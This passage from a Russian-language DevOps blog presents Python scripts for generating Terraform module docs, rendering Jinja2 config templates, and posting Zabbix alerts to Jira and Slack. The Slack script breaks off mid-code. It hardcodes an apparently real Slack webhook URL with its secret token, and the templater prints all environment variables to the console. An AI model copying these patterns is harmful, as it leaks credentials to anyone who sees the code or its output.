$ pip3 install pyhcl

Скрипт на питоне выглядит так:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import argparse
import time
import hcl
import os
import os.path
import json


class Bgcolors:
    def __init__(self):
        self.get = {
            'HEADER': '\033[95m',
            'OKBLUE': '\033[94m',
            'OKGREEN': '\033[92m',
            'WARNING': '\033[93m',
            'FAIL': '\033[91m',
            'ENDC': '\033[0m',
            'BOLD': '\033[1m',
            'UNDERLINE': '\033[4m'
        }


def header(m_dir, e_dir):
    if (m_dir is not None) and (e_dir is not None):
        dir_name = m_dir.strip().split('/')[-1]
        file_out = 'OUTPUT_{}.md'.format(dir_name)
        if os.path.isfile(file_out):
            os.remove(file_out)
        headers = """# Work with AWS {0} via terraform

A terraform module for making {0}.


## Usage
----------------------
Import the module and retrieve with ```terraform get``` or ```terraform get --update```. Adding a module resource to your template, e.g. `main.tf`:
""".format(dir_name.upper())

        examples_dir = "{0}/{1}".format(e_dir, dir_name)
        examples_file = examples_dir + "/" + "main.tf"

        f_main = open(examples_file, "r")

        try:
            f = open(file_out, 'a')
            f.write(str(headers + "\n"))
            f.write("```\n")
            for x in f_main.readlines():
                f.write(x)
            f.write("```\n\n")
            f.close()
        except ValueError:
            print('I cant write to [{}] file'.format(file_out))

    else:
        print(Bgcolors().get['FAIL'], 'Please set/add [--mdir] or [--edir]', Bgcolors().get['ENDC'])
        print(Bgcolors().get['OKGREEN'], 'For help, use: script_name.py -h', Bgcolors().get['ENDC'])
        exit(1)

    return header


def generate_inputs(m_dir):
    if m_dir is not None:
        tf_file_variables = m_dir + '/' + 'variables.tf'
        if os.path.isfile(tf_file_variables) is False:
            print(Bgcolors().get['FAIL'], 'File doesnt exist! Check PATH to module!', Bgcolors().get['ENDC'])
            print(Bgcolors().get['FAIL'], "You're trying to use [{}]".format(dir), Bgcolors().get['ENDC'])
            exit(0)

        dir_name = m_dir.strip().split('/')[-1]
        file_out = 'OUTPUT_{}.md'.format(dir_name)

        input_header = """## Module Input Variables
----------------------"""

        try:
            f = open(file_out, 'a')
            f.write(str(input_header + "\n"))
            f.close()
        except ValueError:
            print('I cant write to [{}] file'.format(file_out))

        with open(tf_file_variables, 'r') as fp_in:
            obj = hcl.load(fp_in)
            # print (json.dumps(obj, indent=4, sort_keys=True))

            for variable in obj['variable']:
                description = obj['variable'][variable]['description']
                default = obj['variable'][variable]['default']

                line = '- `%s` - %s (`default = %s`)' % (str(variable), str(description), str(default))
                try:
                    f = open(file_out, 'a')
                    f.write(str(line + '\n'))
                    f.close()
                except ValueError:
                    print('I cant write to [{}] file'.format(file_out))

    else:
        print(Bgcolors().get['FAIL'], 'Please set/add [--mdir]', Bgcolors().get['ENDC'])
        print(Bgcolors().get['OKGREEN'], 'For help, use: script_name.py -h', Bgcolors().get['ENDC'])
        exit(1)

    return generate_inputs


def generate_outputs(m_dir):
    assert isinstance(m_dir, object)
    if m_dir is not None:
        tf_file_output = str(m_dir) + '/' + 'outputs.tf'
        dir_name = str(m_dir).split('/')[-1]
        file_out = 'OUTPUT_{}.md'.format(dir_name)
        if os.path.isfile(tf_file_output):
            # print(tf_file_output)
            output_header = """
            
## Module Output Variables
----------------------"""
            try:
                f = open(file_out, 'a')
                f.write(str(output_header + "\n"))
                f.close()
            except ValueError:
                print('I cant write to [{}] file'.format(file_out))

        with open(tf_file_output, 'r') as fp_out:
            obj = hcl.load(fp_out)
            # print (json.dumps(obj, indent=4, sort_keys=True))

            for output in obj['output']:
                description = obj['output'][output]['description']
                # print(description)
                if not description:
                    description = '""'

                line = '- `%s` - %s' % (output, description)
                try:
                    f = open(file_out, 'a')
                    f.write(str(line + '\n'))
                    f.close()
                except ValueError:
                    print('I cant write to [{}] file'.format(file_out))

    else:
        print(Bgcolors().get['FAIL'], 'Please set/add [--dir]', Bgcolors().get['ENDC'])
        print(Bgcolors().get['OKGREEN'], 'For help, use: script_name.py -h', Bgcolors().get['ENDC'])
        exit(1)

    return generate_outputs


def footer(m_dir):
    if m_dir is not None:
        dir_name = m_dir.strip().split('/')[-1]
        file_out = 'OUTPUT_{}.md'.format(dir_name)

        authors = """
    
## Authors
=======

Created and maintained by [Vitaliy Natarov](https://github.com/SebastianUA)
(vitaliy.natarov@yahoo.com).

License
=======

Apache 2 Licensed. See [LICENSE](https://github.com/SebastianUA/terraform/blob/master/LICENSE) for full details."""

        try:
            f = open(file_out, 'a')
            f.write(str(authors + "\n"))
            f.close()
        except ValueError:
            print('I cant write to [{}] file'.format(file_out))

        print('Looks like that the [{0}] file has been created: {1}'.format(file_out, os.getcwd()))

    else:
        print(Bgcolors().get['FAIL'], 'Please set/add [--mdir]', Bgcolors().get['ENDC'])
        print(Bgcolors().get['OKGREEN'], 'For help, use: script_name.py -h', Bgcolors().get['ENDC'])
        exit(1)

    return footer


def main():
    start__time = time.time()
    parser = argparse.ArgumentParser(prog='python3 script_name.py -h',
                                     usage='python3 script_name.py {ARGS}',
                                     add_help=True,
                                     prefix_chars='--/',
                                     epilog='''created by Vitalii Natarov''')
    parser.add_argument('--version', action='version', version='v1.0.0')
    parser.add_argument('--md', '--mdir', dest='m_directory', help='Set the directory where module exists',
                        default=None, metavar='folder')
    parser.add_argument('--ed', '--edir', dest='e_directory', help='Set the directory where example exists',
                        default=None, metavar='folder')

    results = parser.parse_args()
    m_directory = results.m_directory  # type: object
    e_directory = results.e_directory

    header(m_directory, e_directory)
    generate_inputs(m_directory)
    generate_outputs(m_directory)
    footer(m_directory)

    end__time = round(time.time() - start__time, 2)
    print("--- %s seconds ---" % end__time)
    print(
        Bgcolors().get['OKGREEN'], "============================================================",
        Bgcolors().get['ENDC'])
    print(
        Bgcolors().get['OKGREEN'], "==========================FINISHED==========================",
        Bgcolors().get['ENDC'])
    print(
        Bgcolors().get['OKGREEN'], "============================================================",
        Bgcolors().get['ENDC'])


if __name__ == '__main__':
    main()

Запускать нужно так:

$ python3 generate_docs_pyhcl.py --mdir="/Users/captain/Projects/Terraform/aws/modules/nlb" --edir="/Users/captain/Projects/Terraform/aws/examples/nlb"

Где:

• python3 — Бинарник с питоном.
• generate_docs_pyhcl.py — Название скрипта.
• —mdir=»/Users/captain/Projects/Terraform/aws/modules/nlb» — Это путь к подулю.
• —edir=»/Users/captain/Projects/Terraform/aws/examples/nlb» — Это путь, где лежат ваши проект\экзампл.

Вывод будет примерно такой:

Looks like that the [OUTPUT_nlb.md] file has been created: /Users/captain/Projects/Python/Terraform
--- 0.04 seconds ---
 ============================================================
 ==========================FINISHED==========================
 ============================================================

ЗАМЕЧАНИЕ! Это будет работать только есть в файлах имеется description & default строки!

Если открыть файл что был сгенерирован, то он выглядит так:

# Work with AWS NLB via terraform

A terraform module for making NLB.


## Usage
----------------------
Import the module and retrieve with ```terraform get``` or ```terraform get --update```. Adding a module resource to your template, e.g. `main.tf`:

```
#
# MAINTAINER Vitaliy Natarov "vitaliy.natarov@yahoo.com"
#
terraform {
  required_version = "> 0.9.0"
}
provider "aws" {
    region                  = "us-east-1"
    shared_credentials_file = "${pathexpand("~/.aws/credentials")}"    
    profile                 = "default"
}
module "iam" {
    source                          = "../../modules/iam"
    name                            = "My-Security"
    region                          = "us-east-1"
    environment                     = "PROD"

    aws_iam_role-principals         = [
        "ec2.amazonaws.com",
    ]
    aws_iam_policy-actions           = [
        "cloudwatch:GetMetricStatistics",
        "logs:DescribeLogStreams",
        "logs:GetLogEvents",
        "elasticache:Describe*",
        "rds:Describe*",
        "rds:ListTagsForResource",
        "ec2:DescribeAccountAttributes",
        "ec2:DescribeAvailabilityZones",
        "ec2:DescribeSecurityGroups",
        "ec2:DescribeVpcs",
        "ec2:Owner",
    ]
}
module "vpc" {
    source                              = "../../modules/vpc"
    name                                = "My"
    environment                         = "PROD"
    # VPC
    instance_tenancy                    = "default"
    enable_dns_support                  = "true"
    enable_dns_hostnames                = "true"
    assign_generated_ipv6_cidr_block    = "false"
    enable_classiclink                  = "false"
    vpc_cidr                            = "172.31.0.0/16"
    private_subnet_cidrs                = ["172.31.32.0/20"]
    public_subnet_cidrs                 = ["172.31.0.0/20"]
    availability_zones                  = ["us-east-1b"]
    enable_all_egress_ports             = "true"
    allowed_ports                       = ["8080", "3306", "443", "80"]

    map_public_ip_on_launch             = "true"

    #Internet-GateWay
    enable_internet_gateway             = "true"
    #NAT
    enable_nat_gateway                  = "false"
    single_nat_gateway                  = "true"
    #VPN
    enable_vpn_gateway                  = "false"
    #DHCP
    enable_dhcp_options                 = "false"
    # EIP
    enable_eip                          = "false"
}
module "ec2" {
    source                              = "../../modules/ec2"
    name                                = "TEST-Machine"
    region                              = "us-east-1"
    environment                         = "PROD"
    number_of_instances                 = 2
    ec2_instance_type                   = "t2.micro"
    enable_associate_public_ip_address  = "true"
    disk_size                           = "8"
    tenancy                             = "${module.vpc.instance_tenancy}"
    iam_instance_profile                = "${module.iam.instance_profile_id}"
    subnet_id                           = "${element(module.vpc.vpc-publicsubnet-ids, 0)}"
    #subnet_id                           = "${element(module.vpc.vpc-privatesubnet-ids, 0)}"
    #subnet_id                           = ["${element(module.vpc.vpc-privatesubnet-ids)}"]
    vpc_security_group_ids              = ["${module.vpc.security_group_id}"]

    monitoring                          = "true"
}
module "nlb" {
    source                  = "../../modules/nlb"
    name                    = "Load-Balancer"
    region                  = "us-east-1"
    environment             = "PROD"
    
    subnets                     = ["${module.vpc.vpc-privatesubnet-ids}"]
    vpc_id                      = "${module.vpc.vpc_id}"   
    enable_deletion_protection  = false

    backend_protocol    = "TCP"
    alb_protocols       = "TCP"
    
    #It's not working properly when use EC2... First of all, comment the line under this text. Run playbook. Uncomment that line.    
    target_ids          = ["${module.ec2.instance_ids}"]
}
```

## Module Input Variables
----------------------
- `target_ids` - The ID of the target. This is the Instance ID for an instance, or the container ID for an ECS container. If the target type is ip, specify an IP address. (`default = []`)
- `health_check_interval` - Interval in seconds on which the health check against backend hosts is tried. (`default = 10`)
- `name` - Name to be used on all resources as prefix (`default = TEST-NLB`)
- `enable_deletion_protection` - If true, deletion of the load balancer will be disabled via the AWS API. This will prevent Terraform from deleting the load balancer. Defaults to false. (`default = False`)
- `timeouts_create` - Used for Creating LB. Default = 10mins (`default = 10m`)
- `certificate_arn` - The ARN of the SSL Certificate. e.g. 'arn:aws:iam::XXXXXXXXXXX:server-certificate/ProdServerCert' (`default = `)
- `load_balancer_type` - The type of load balancer to create. Possible values are application or network. The default value is application. (`default = network`)
- `region` - The region where to deploy this code (e.g. us-east-1). (`default = us-east-1`)
- `vpc_id` - Set VPC ID for ?LB (`default = `)
- `backend_protocol` - The protocol the backend service speaks. Options: HTTP, HTTPS, TCP, SSL (secure tcp). (`default = HTTP`)
- `name_prefix` - Creates a unique name beginning with the specified prefix. Conflicts with name (`default = nlb`)
- `health_check_healthy_threshold` - Number of consecutive positive health checks before a backend instance is considered healthy. (`default = 3`)
- `orchestration` - Type of orchestration (`default = Terraform`)
- `health_check_unhealthy_threshold` - Number of consecutive positive health checks before a backend instance is considered unhealthy. (`default = 3`)
- `lb_internal` - If true, NLB will be an internal NLB (`default = False`)
- `backend_port` - The port the service on the EC2 instances listen on. (`default = 80`)
- `idle_timeout` - The time in seconds that the connection is allowed to be idle. Default: 60. (`default = 60`)
- `health_check_port` - The port used by the health check if different from the traffic-port. (`default = traffic-port`)
- `environment` - Environment for service (`default = STAGE`)
- `timeouts_update` - Used for LB modifications. Default = 10mins (`default = 10m`)
- `ip_address_type` - The type of IP addresses used by the subnets for your load balancer. The possible values are ipv4 and dualstack (`default = ipv4`)
- `alb_protocols` - A protocol the ALB accepts. (e.g.: TCP) (`default = TCP`)
- `subnets` - A list of subnet IDs to attach to the NLB (`default = []`)
- `createdby` - Created by (`default = Vitaliy Natarov`)
- `target_type` - The type of target that you must specify when registering targets with this target group. The possible values are instance (targets are specified by instance ID) or ip (targets are specified by IP address). The default is instance. Note that you can't specify targets for a target group using both instance IDs and IP addresses. If the target type is ip, specify IP addresses from the subnets of the virtual private cloud (VPC) for the target group, the RFC 1918 range (10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16), and the RFC 6598 range (100.64.0.0/10). You can't specify publicly routable IP addresses (`default = instance`)
- `timeouts_delete` - Used for LB destroying LB. Default = 10mins (`default = 10m`)
- `deregistration_delay` - The amount time for Elastic Load Balancing to wait before changing the state of a deregistering target from draining to unused. The range is 0-3600 seconds. The default value is 300 seconds. (`default = 300`)

            
## Module Output Variables
----------------------
- `lb_id` - The ID of the lb we created.
- `lb_name` - ""
- `lb_arn_suffix` - ARN suffix of our lb - can be used with CloudWatch
- `lb_listener_frontend_tcp_443_id` - The ID of the lb Listener we created.
- `lb_dns_name` - The DNS name of the lb presumably to be used with a friendlier CNAME.
- `lb_listener_frontend_tcp_80_arn` - The ARN of the HTTPS lb Listener we created.
- `target_group_arn` - ARN of the target group. Useful for passing to your Auto Scaling group module.
- `lb_listener_frontend_tcp_80_id` - The ID of the lb Listener we created.
- `lb_listener_frontend_tcp_443_arn` - The ARN of the HTTP lb Listener we created.
- `lb_zone_id` - The zone_id of the lb to assist with creating DNS records.
- `lb_arn` - ARN of the lb itself. Useful for debug output, for example when attaching a WAF.

    
## Authors
=======

Created and maintained by [Vitaliy Natarov](https://github.com/SebastianUA)
(vitaliy.natarov@yahoo.com).

License
=======

Apache 2 Licensed. See [LICENSE](https://github.com/SebastianUA/terraform/blob/master/LICENSE) for full details.

Как-то так! Не плохо, да?

Код выложил на гитхаб, скачать можно так:

$ git clone git@github.com:SebastianUA/generate-tf-docs.git

Вот и все, статья «Генерация документации для Terraform через python3 в Unix/linux» заверена.

Недавно, на работе появилась нужда в том, чтобы иметь один конфигурационный YAML-файл со всеми типами ENV и переменными для них. При этом, чтобы скрипт умел парсить его и подставлять во все вхождения во всех входящих файлах. Это очень удобно, когда у вас много типов машин с разными настройками. Я решил проблему, написал скрипт, все очень даже довольны.

Python3 скрипт для конструктора конфиг-файлов с Jinja в Unix/Linux

Начнем с того, что у становим питон и другие полезности:

Установка python в Unix/Linux — в процессе написания (в черновиках)

Установка pip/setuptools/wheel в Unix/Linux

Другие полезные темы:

Установка/Использование pexpect и python в Unix/Linux

Установка virtualenv + virtualenvwrapper в Unix/Linux

Pip3 имееться, теперь поставим пакеты:

$ pip3 install -U pyyaml argparse

Открываем файл, например, я его вот так назвал:

$ vim templater_py3.py

Содержание будет следующим:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import argparse
import time
import os
import pathlib
import glob
import yaml

from jinja2 import Environment, StrictUndefined
from jinja2.loaders import FileSystemLoader
from jinja2.exceptions import UndefinedError, TemplateRuntimeError, TemplateNotFound


class Bgcolors:
    def __init__(self):
        self.colors = {
            'PURPURE': '\033[95m',
            'BLUE': '\033[94m',
            'GREEN': '\033[92m',
            'YELLOW': '\033[93m',
            'RED': '\033[91m',
            'ENDC': '\033[0m',
            'BOLD': '\033[1m',
            'UNDERLINE': '\033[4m'
        }


def direcroty(in_put, output):

    array_files = []

    if in_put is not None:
        if os.path.exists(os.path.dirname(in_put)):
            if os.path.isdir(os.path.dirname(in_put)):
                print(Bgcolors().colors['GREEN'] + 'Input is directory: {}'.format(pathlib.Path(in_put.strip())),
                      Bgcolors().colors['ENDC'])
                for file in glob.glob(os.path.join(in_put, '*')):
                    if os.path.isfile(file):
                        array_files.append(pathlib.Path(file.strip()))
            else:
                print('Input is file: {}'.format(pathlib.Path(in_put.strip())))
                if os.path.isfile(pathlib.Path(in_put.strip())):
                    array_files.append(pathlib.Path(in_put.strip()))
                else:
                    print(Bgcolors().colors['RED'] +
                          'Use correct PATH for configs or check your file: {}'.format(in_put), '\nIt doesnt exist!',
                          Bgcolors().colors['ENDC'])
                    exit(0)
        else:
            print(Bgcolors().colors['RED'] +
                  'Use correct PATH for configs or check your file: {}'.format(in_put), '\nIt doesnt exist!',
                  Bgcolors().colors['ENDC'])
            exit(0)
    else:
        print(Bgcolors().colors['RED'], 'Please set [--in_put-file] or [--in_put-dir] or use [--help] to get a help',
              Bgcolors().colors['ENDC'])
        exit(0)

    if output is not None:
        if os.path.exists(os.path.dirname(output)):
            print(Bgcolors().colors['GREEN'] + 'Output folder: ', pathlib.Path(output.strip()), '\n',
                  Bgcolors().colors['ENDC'])
        else:
            try:
                os.stat(pathlib.Path(os.path.dirname(output)))
                print(Bgcolors().colors['GREEN'] + 'Output folder: ', pathlib.Path(output.strip()), '\n',
                      Bgcolors().colors['ENDC'])
            except Exception:
                os.mkdir(output)
                print(Bgcolors().colors['GREEN'] + 'Output folder: ', pathlib.Path(output.strip()), '\n',
                      Bgcolors().colors['ENDC'])
    else:
        print(Bgcolors().colors['RED'], 'Please set [--output-dir] or use [--help] to get a help',
              Bgcolors().colors['ENDC'])
        exit(0)

    # print(array_files)

    return array_files


def jinja_render(in_put, output, env, env_type, yml_files):

    array_files = direcroty(in_put, output)
    sections = ['default', env, env_type]
    # add properties that we know about
    config = {'ENVIRONMENT_TYPE': env_type, 'ENVIRONMENT': env}

    # Create the jinja2 environment.
    # Notice the use of trim_blocks, which greatly helps control whitespace.
    j2_env = Environment(
        loader=FileSystemLoader(''),
        trim_blocks=True,
        autoescape=False,
        undefined=StrictUndefined)

    if yml_files is not None:
        for yml_file in yml_files:
            with open(yml_file) as stream:
                try:
                    # print(yaml.safe_load(stream))
                    cfg_yaml = yaml.safe_load(stream.read())
                    for key in sections:
                        props = cfg_yaml.get(key)
                        # print('{0} : {1}'.format(key,props), len(props))
                        if props is not None:
                            # print(yaml.dump(props, default_flow_style=False))
                            config.update(props)
                except yaml.YAMLError as exc:
                    print(exc)
        for envriron in os.environ:
            config.update({envriron: os.environ.get(envriron)})
            # print(envriron, os.environ.get(envriron))
    else:
        print(Bgcolors().colors['RED'], 'Please set [--yml] or use [--help] to get a help',
              Bgcolors().colors['ENDC'])
        exit(0)

    print(yaml.dump(config, default_flow_style=False))
    errs = []

    for file in array_files:
        # file_name = os.path.basename(file)
        head, file_name = os.path.split(file.as_posix())
        template = j2_env.get_template(file.as_posix())
        try:
            out_content = template.render(env=os.environ, **config)
            out_file = output + '/' + file_name
            try:
                f = open(out_file, 'wb')
                f.write(out_content.encode('utf-8'))
                f.close()
                print(Bgcolors().colors['GREEN'] + 'The [{}] file has been written.'.format(out_file)+
                      Bgcolors().colors['ENDC'])
            except ValueError:
                print('I cant write to file: ', ValueError)
            # print('file:', file,'\n', out_content)
        except UndefinedError as e:
            if e not in errs:
                errs.append(str(e))
                # errs.append(str(e).split("'")[1])
    if len(errs) > 0:
        print('~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~')
        print('Total errors: [{}]'.format(len(errs)))
        print(errs)
        print('~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~')

    return jinja_render


def main():
    start__time = time.time()
    parser = argparse.ArgumentParser(prog='python3 script_name.py -h',
                                     usage='python3 script_name.py {ARGS}',
                                     add_help=True,
                                     prefix_chars='--/',
                                     epilog='''created by Vitalii Natarov''')
    parser.add_argument('--version', action='version', version='v0.2.0')
    parser.add_argument('--input-file', '--input-dir', dest='input', help='Set input file or folder to find configs',
                        default='./templates')
    parser.add_argument('--output-dir', dest='output', help='Set output a folder for outgoing files',
                        default='./output')
    parser.add_argument('--env', dest='env', help='Environment: tst, sit01, prd, etc', default=None)
    parser.add_argument('--env-type', dest='env_type', help='Environment Type: prod or nonprod', default=None)
    parser.add_argument('--yml', dest='yml_files', nargs="+", help='Config property yml files', default=None)

    results = parser.parse_args()

    in_put = os.path.expanduser(results.input)
    output = os.path.expanduser(results.output)
    env = results.env
    env_type = results.env_type
    yml_files = results.yml_files

    jinja_render(in_put, output, env, env_type, yml_files)

    end__time = round(time.time() - start__time, 2)
    print("--- %s seconds ---" % end__time)
    print(Bgcolors().colors['GREEN'], "============================================================",
          Bgcolors().colors['ENDC'])
    print(Bgcolors().colors['GREEN'], "==========================FINISHED==========================",
          Bgcolors().colors['ENDC'])
    print(Bgcolors().colors['GREEN'], "============================================================",
          Bgcolors().colors['ENDC'])


if __name__ == '__main__':
    main()

Чтобы получить помощь по скрипты, выполните:

$ python3 templater_py3.py -h
usage: python3 script_name.py {ARGS}

optional arguments:
  -h, --help            show this help message and exit
  --version             show program's version number and exit
  --input-file INPUT, --input-dir INPUT
                        Set input file or folder to find configs
  --output-dir OUTPUT   Set output a folder for outgoing files
  --env ENV             Environment: tst, sit01, prd, etc
  --env-type ENV_TYPE   Environment Type: prod or nonprod
  --yml YML_FILES [YML_FILES ...]
                        Config property yml files

created by Vitalii Natarov

Где:

• —input-file или —input-dir — Входные данные (папка или файл) для обработки jinja-ей. Т.е чтобы джинжа заменила все вхождения в конфиге или других файлах.
• —output-dir — Выходные данные будут складываться в данную папку.
• —env — Имя окружающей среды (service1, service2).
• —env-type — Тип окружающей среды (prod, nonprod, dev).
• —yml — Ямл файл со всеми настройками для всех типов ENV и ENV в целом.

Я приведу пример использования данного скрипта:

$ python3 templater_py3.py --input-dir=templates --yml configProps.yml --env=test --env-type=nonprod --ouput-dir=output

При необходимости, скрипт понимает что нужно создать output папку, по этому, ее не обязательно создавать.

Данный скрипт тестировался на:

• MacOS с python 3.7.
• CentOS 7 с python 3.4, 3.5.

Немного позже, выложу данный скрипт на Github и обновлю статью.

Вот и все, статья «Python3 скрипт для конструктора конфиг-файлов с Jinja в Unix/Linux» завершена.

Интеграция Zabbix алертов с Jira, Slack в Unix/Linux

На текущем месте работы, я работаю больше чем год. За это время, я не моло сделал для своего клиента. Месяц назад у меня возникла идея как можно было бы оптимизировать L1 процесс и сократить SLA между реакцией на ивент и создание тикета из него же, с 15-30 минут, до 1 минуты (идеальный мир и без каких либо задержек).

Сервисы которые я буду использовать:

• Zabbix — В качестве алертинга.
• PagerDuty — в качестве серт-пати решения для централизированого сервиса перенаправления всех ивентов куда-либо.
• Slack — Коммуникация, постинг полезной инфы.
• Skype —  Коммуникация, постинг полезной инфы (на момент написания статьи — не используется, но планируется).
• Python3 + пакетные зависимости — для создания скрипта.

Логика работы L1:

• Срабатывает триггер в заббиксе.
• Ивент перенаправляется в созданный сервис в PagerDuty. После получения любого ивента, L1 тима должна была нажать на «Acknowledge» и перейти к созданию тикета.
• Собственно, как я и говорил, — время реакции на P1-P2 инциденты у команды варьировалось от 15 до 30 минут (в зависимости от нагрузки).
• После создания тикета, — постится все необходимая информация в канал коммуникации или звонок L2-L3 команде (в зависимости от инстуркции).

Логика работы скрипта:

• Как-то та и работает

Переходим к реализации…

Реализация интеграции Zabbix алертов с Jira, Slack в Unix/Linux

Открываем файл:

# vim create_jira_ticket_and_poster.py

Сам скрипт, выглядит вот так:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import argparse
import re
import time
import requests

from datetime import datetime
from jira import JIRA


class Bgcolors:
    def __init__(self):
        self.get = {
            'PURPURE': '\033[95m',
            'BLUE': '\033[94m',
            'GREEN': '\033[92m',
            'YELLOW': '\033[93m',
            'RED': '\033[91m',
            'END': '\033[0m',
            'BOLD': '\033[1m',
            'UNDERLINE': '\033[4m'
        }


def change_time(t):
    if t == 'now':
        time_to_timestamp = int(time.mktime(datetime.now().timetuple()))
    elif t == 'now_utc':
        time_to_timestamp = int(time.mktime(datetime.utcnow().timetuple()))
    elif t == 'utc':
        time_to_timestamp = time.strftime("%H:%M:%S (%Y-%m-%d)",
                                          time.gmtime(int(time.mktime(datetime.now().timetuple()))))
    else:
        time_to_timestamp = int(time.mktime(datetime.strptime(t, "%Y-%m-%dT%H:%M:%S.000+0000").timetuple()))

    return time_to_timestamp


def post_to_slack(s_webhook, j_priority, j_project, t_status, t_number, j_assigner, t_summary, service):
    headers = {"Content-type": "application/json"}

    if j_project is not None:
        project = {'CCM': 'CM DevOps tasks', 'CMSSD': 'CM Shared Service Desk', 'ESD': 'ESD Service Desk',
                   'ELTM': 'ETM Service Desk', 'PSD': 'PSD Service Desk', 'QSD': 'QSD Service Desk',
                   'RSD': 'RSD Service Desk', 'NSD': 'NSD Service Desk',
                   'PSSD': 'PSSD Service Desk'}
    else:
        print(Bgcolors().get['RED'], 'Please add [--priority]', Bgcolors().get['END'])
        print(Bgcolors().get['GREEN'], 'For help, use: script_name.py -h', Bgcolors().get['END'])
        exit(0)

    if j_priority is not None:
        prior = {'Disaster': 'P1', 'High': 'P2', 'Average': 'P3'}
    else:
        print(Bgcolors().get['RED'], 'Please add [--priority]', Bgcolors().get['END'])
        print(Bgcolors().get['GREEN'], 'For help, use: script_name.py -h', Bgcolors().get['END'])
        exit(0)

    payload = {
        "channel": "#servicedesk", 
        "username": "ticket-poster",
        "icon_emoji": ":ghost:",
        "color": "#2eb886",
        "text": " Woops, apparently we are in trouble ",
        "attachments": [
            {
                "color": "#BF0D0D",
                "fields": [
                    dict(title="Priority:", value=prior[j_priority], short=True),
                    {
                        "title": "Project:",
                        "value": project[j_project],
                        "short": True
                    },
                    {
                        "title": "Service:",
                        "value": service,
                        "short": True
                    },
                    {
                        "title": "Time:",
                        "value": "UTC: %s" % change_time('utc'),
                        "short": True
                    },
                    {
                        "title": "Ticket status:",
                        "value": t_status,
                        "short": True
                    },
                    {
                        "title": "Assigned:",
                        "value": "%s" % (j_assigner),
                        "short": True
                    }
                ],
                "title": "The ticket is https://jira.my_company.com/browse/%s" % t_number,
                "title_link": "https://jira.my_company.com/browse/%s" % t_number,
                "text": "\n%s\n" % t_summary,
            },
            {
                "color": "#2eb886",
                "title": "Synopsis",
                "text": "<!channel> This message has been posted from py-script by automatically way",
                "author_name": "Vitaliy Natarov",
                "author_icon": "https://cdn4.iconfinder.com/data/icons/music-icon-5/24/You-Rock-512.png",
                # "image_url": "https://www.channelfutures.com/sites/channelfutures.com/files/styles/"
                #             "article_featured_standard/public/DevOps-2018_0.jpg?itok=CYz0R8DF"
            },
            {
                "fallback": "Would you like to acknowledge or collect tickets to the one?",
                "title": "Would you like to acknowledge or collect tickets to the one?",
                "callback_id": "actions",
                "color": "#3AA3E3",
                "attachment_type": "default",
                "actions": [
                    {
                        "name": "Acknowledge",
                        "text": "Acknowledge",
                        "type": "button",
                        "style": "primary",
                        "value": change_time('utc'),
                        # "url": "https://my_company.pagerduty.com/"
                        "response_url": "https://hooks.slack.com/services/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",
                    },
                    {
                        "name": "Collect tickets",
                        "text": "Collect tickets",
                        "style": "danger",
                        "type": "button",
                        "value": "Collect tickets",
                        "confirm": {
                            "title": "Are you sure?",
                            "text": "Would you like to collect tickets to the one?",
                            "ok_text": "Yes",
                            "dismiss_text": "No"
                        },
                    },
                ],
            },
            {
                "image_url": "http://my-website.com/path/to/image.jpg",
                "thumb_url": "http://example.com/path/to/thumb.png",
                "footer": "Ticket posted",
                "footer_icon": "https://cdn3.iconfinder.com/data/icons/people-avatar/30/superhero-512.png",
                "ts": change_time('now')
            }
        ]
    }

    send_request = requests.post(s_webhook, json=payload, headers=headers)
    if send_request.status_code == 200 or send_request.reason == "OK":
        print('Posted to slack')
    else:
        print('Whoops... something is wrong.... [%s]' % send_request.status_code)

    return post_to_slack


def login_to_jira(url, user, password):
    auth_jira = JIRA(url, auth=(user, password))

    return auth_jira


def show_jira_projects(url, user, password, j_project):
    auth_jira = login_to_jira(url, user, password)

    projects = auth_jira.projects()
    for project in projects:
        project_id = project.id
        project_name = project.name
        project_key = project.key
        if j_project is None:
            print('[%s] : [%s] : [%s]' % (project_key, project_name, project_id))
        else:
            if (project_name == j_project) or (project_key == j_project):
                print('[%s] : [%s] : [%s]' % (project_key, project_name, project_id))

    return show_jira_projects


def create_jira_ticket(url, user, password, j_project, j_priority, j_reporter,
                       j_assignee, j_issue, s_webhook, service):
    auth_jira = login_to_jira(url, user, password)

    if j_project is None:
        print(Bgcolors().get['RED'], 'Please add [--project]', Bgcolors().get['END'])
        print(Bgcolors().get['GREEN'], 'For help, use: script_name.py -h', Bgcolors().get['END'])
        exit(0)
    else:
        for project in auth_jira.projects():
            if (project.name == j_project) or (project.key == j_project):
                project_found = True
                break
            else:
                project_found = False
        if j_priority is not None:
            prior = {'Disaster': 'Blocker', 'High': 'Critical', 'Average': 'Major'}
        else:
            print(Bgcolors().get['RED'], 'Please add [--priority]', Bgcolors().get['END'])
            print(Bgcolors().get['GREEN'], 'For help, use: script_name.py -h', Bgcolors().get['END'])
            exit(0)

        if j_issue is None:
            print(Bgcolors().get['RED'], 'Please add [--issue]', Bgcolors().get['END'])
            print(Bgcolors().get['GREEN'], 'For help, use: script_name.py -h', Bgcolors().get['END'])
            exit(0)

        allfields = auth_jira.fields()
        name_map = {field['name']: field['id'] for field in allfields}

        if project_found:
            issue_dict = {
                'CCM': {
                    'project': {'key': j_project},
                    'summary': j_issue,
                    'description': 'Look into this one',
                    'priority': {'name': prior[j_priority]},
                    'issuetype': {'name': 'Bug'},
                    'assignee': {'name': j_assignee},
                    'labels': ['Alert'],
                },
                'CMSSD': {
                    'project': {'key': j_project},
                    'summary': j_issue,
                    'description': 'Look into this one',
                    'priority': {'name': prior[j_priority]},
                    'issuetype': {'name': 'Incident'},
                    'reporter': {'name': j_reporter},
                    'assignee': {'name': j_assignee},
                    'labels': ['Alert'],
                    name_map['Origin']: {'value': 'Application'},
                    name_map['Affected AWS Services']: ['EC2'],
                    name_map['Affected components']: [service]
                },
                'QSD': {
                    'project': {'key': j_project},
                    'summary': j_issue,
                    'description': 'Look into this one',
                    'priority': {'name': prior[j_priority]},
                    'issuetype': {'name': 'Incident'},
                    'reporter': {'name': j_reporter},
                    'assignee': {'name': j_assignee},
                    name_map['Origin']: {'value': 'Application'},
                    name_map['Affected AWS Services']: ['EC2'],
                    name_map['Affected components']: [service]
                },
                'RSD': {
                    'project': {'key': j_project},
                    'summary': j_issue,
